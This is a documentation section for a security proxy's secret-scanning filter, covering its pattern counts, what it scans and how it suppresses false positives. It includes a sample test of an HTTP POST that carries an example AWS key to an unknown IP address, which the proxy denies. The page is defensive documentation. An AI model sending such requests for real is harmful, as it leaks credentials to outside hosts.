7. Secret / credential scanning
1618 credential patterns, matched against the arguments of every call in a single pass.
| Phase | 2, pattern |
| Score | 3.0 - 5.0, highest match; 1.0 for a down-weighted generic hit |
| Source | crates/grith-proxy/src/filters/secret_scan.rs |
| Config | config/filters/secrets.toml - 1618 patterns |
The corpus covers cloud providers, SaaS tokens, private-key headers and generic credential assignments. All 1618 compile into one regex set, matched in a single pass; the highest-scoring real match wins.
| Score | Patterns |
|---|---|
| 5.0 | 320 |
| 4.5 | 422 |
| 4.0 | 615 |
| 3.5 | 194 |
| 3.0 | 67 |
$ grith proxy test '{"type":"HttpRequest","method":"POST","url":"https://45.33.32.156/collect","arguments":{"body":"AKIAIOSFODNN7EXAMPLE"}}'
Score: 14.5
Decision: DENY
Filter Breakdown:
+ operation-risk 1.0 [notice] HTTP POST request (carries body): https://45.33.32.156/collect
+ secret-scan 5.0 [critical] AWS access key ID detected
+ egress-policy 3.5 [warning] Unknown outbound destination from http_request: 45.33.32.156
+ dlp-gate 5.0 [error] Secret detected in outbound arguments [aws-key]: aws-access-key
Exit code: 2 (deny)What it can see
⚠️Arguments, not file contents
grith does not trap read or write, so this filter never sees the bytes of a file. It scans
the call's arguments - a command line, a URL, a JSON payload. A secret sitting in a file on
disk is invisible to it; a secret pasted into a command line is not.
The scanned text is the call's arguments bag, plus the command and argv for a spawn, the URL for an HTTP request, the address for a connect, and the domain for a DNS query.
Attribution argv is stripped first
Supervisor events carry the calling process's full command line and its parent's, so you can
see who made a call. That argv is removed before scanning. It already had its own scan at the
spawn that created it, and leaving it in meant one secret-shaped token in a command line
re-scored every later call the process made - in one measured session, a 3.5 rider on a
session-bus connect(2) with nothing secret crossing the socket.
The argv is still priced once, at the spawn it is made of. Everything else in the call is still scanned.
Two ways a match is softened
Provably benign shapes are suppressed. Git SHAs, lockfile integrity hashes, UUIDs, and documented example keys do not fire. Each suppression is shape-based and paired with a test proving a real secret in the same context still matches. If a pattern fails to compile, the match is kept.
Generic assignments are down-weighted in low-signal files. Inside a minified bundle or a
dependency tree, the generic-* keyword-assignment family drops to 1.0 - recorded, but no
longer able to queue on its own. Vendor-specific patterns like aws-* and github-* keep
full weight everywhere.
Adding patterns
config/filters/secrets.toml takes [[patterns]] entries with id, regex, score,
severity and message. The file replaces the shipped corpus rather than merging with it,
so start from a copy of the 1618. See Filter config files.
See also
- 11. DLP gate - the outbound-only, policy-banded counterpart
- 12. Canary detection - values you planted yourself